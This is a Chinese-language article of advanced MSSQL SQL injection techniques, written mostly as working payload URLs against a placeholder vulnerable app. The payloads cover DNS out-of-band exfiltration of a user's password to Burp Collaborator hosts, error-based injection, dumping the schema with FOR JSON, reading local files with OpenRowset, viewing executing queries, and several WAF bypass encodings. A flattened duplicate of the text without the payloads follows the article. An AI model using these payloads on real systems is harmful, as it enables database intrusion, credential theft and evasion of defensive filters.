高级的MSSQL注入技巧
字数 856 2025-08-18 11:35:44

高级MSSQL注入技巧详解

1. DNS带外(OOB)数据泄露技术

当遇到禁用堆栈查询的完全盲SQL注入时,可以通过以下函数实现DNS带外数据泄露:

1.1 使用fn_xe_file_target_read_file()

https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

权限要求:需要控制服务器权限

1.2 使用fn_trace_gettable()

https://vuln.app/getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

权限要求:需要控制服务器权限

2. 替代的基于错误的注入向量

传统基于错误的注入如AND+1=@@version--容易被WAF拦截,可使用以下方法绕过:

2.1 使用字符串连接触发类型转换错误

使用%2b字符将字符串与特定函数调用的结果连接:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

可用的函数包括:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

3. 单查询检索整表数据

3.1 使用FOR JSON子句

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

3.2 基于错误的FOR JSON变体

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

注意:基于错误的攻击向量需要别名或名称

4. 读取本地文件

4.1 使用OpenRowset()函数

https://vuln.app/getItem?id=-1+union+select+null,(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x)),null,null

4.2 基于错误的变体

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

权限要求:需要"ADMINISTER BULK OPERATIONS"或"ADMINISTER DATABASE BULK OPERATIONS"权限

5. 检索当前执行的查询

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

权限说明

  • 拥有VIEW SERVER STATE权限:可查看实例上所有会话
  • 无此权限:仅能查看当前会话

6. WAF绕过技巧

6.1 特殊字符替换空格

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

6.2 科学和十六进制表示法

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

6.3 使用句号代替空格

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

6.4 使用\N分隔符

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

总结

这些高级MSSQL注入技巧在SQL Server 2019、2017和2016 SP2上测试有效。关键点包括:

  1. 多种DNS带外技术适用于不同场景
  2. 创新的基于错误注入方法绕过传统WAF规则
  3. 高效的单查询数据检索技术
  4. 本地文件读取能力
  5. 多种WAF绕过技巧

注意:许多技术需要特定权限,实际利用时需考虑权限限制。

高级MSSQL注入技巧详解 1. DNS带外(OOB)数据泄露技术 当遇到禁用堆栈查询的完全盲SQL注入时,可以通过以下函数实现DNS带外数据泄露: 1.1 使用 fn_xe_file_target_read_file() 权限要求 :需要控制服务器权限 1.2 使用 fn_trace_gettable() 权限要求 :需要控制服务器权限 2. 替代的基于错误的注入向量 传统基于错误的注入如 AND+1=@@version-- 容易被WAF拦截,可使用以下方法绕过: 2.1 使用字符串连接触发类型转换错误 使用 %2b 字符将字符串与特定函数调用的结果连接: 可用的函数包括: SUSER_NAME() USER_NAME() PERMISSIONS() DB_NAME() FILE_NAME() TYPE_NAME() COL_NAME() 3. 单查询检索整表数据 3.1 使用FOR JSON子句 3.2 基于错误的FOR JSON变体 注意 :基于错误的攻击向量需要别名或名称 4. 读取本地文件 4.1 使用OpenRowset()函数 4.2 基于错误的变体 权限要求 :需要"ADMINISTER BULK OPERATIONS"或"ADMINISTER DATABASE BULK OPERATIONS"权限 5. 检索当前执行的查询 权限说明 : 拥有VIEW SERVER STATE权限:可查看实例上所有会话 无此权限:仅能查看当前会话 6. WAF绕过技巧 6.1 特殊字符替换空格 6.2 科学和十六进制表示法 6.3 使用句号代替空格 6.4 使用\N分隔符 总结 这些高级MSSQL注入技巧在SQL Server 2019、2017和2016 SP2上测试有效。关键点包括: 多种DNS带外技术适用于不同场景 创新的基于错误注入方法绕过传统WAF规则 高效的单查询数据检索技术 本地文件读取能力 多种WAF绕过技巧 注意 :许多技术需要特定权限,实际利用时需考虑权限限制。